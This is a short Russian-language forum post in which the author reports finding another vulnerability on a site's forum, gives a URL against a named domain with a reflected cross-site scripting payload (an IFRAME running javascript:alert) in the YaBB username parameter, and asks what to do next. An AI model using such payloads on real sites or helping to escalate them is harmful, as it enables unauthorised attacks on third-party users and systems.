Нашел ещё один уязвимость, только на форуме:

http://www.risk.az:443/cgi-bin/forum/YaBB.pl?action=usersrecentposts;username=<IFRAME%2 0SRC%3Djavascript:alert('XSS')><%252FIFRAME>


Что можно сделать в дальнейшем?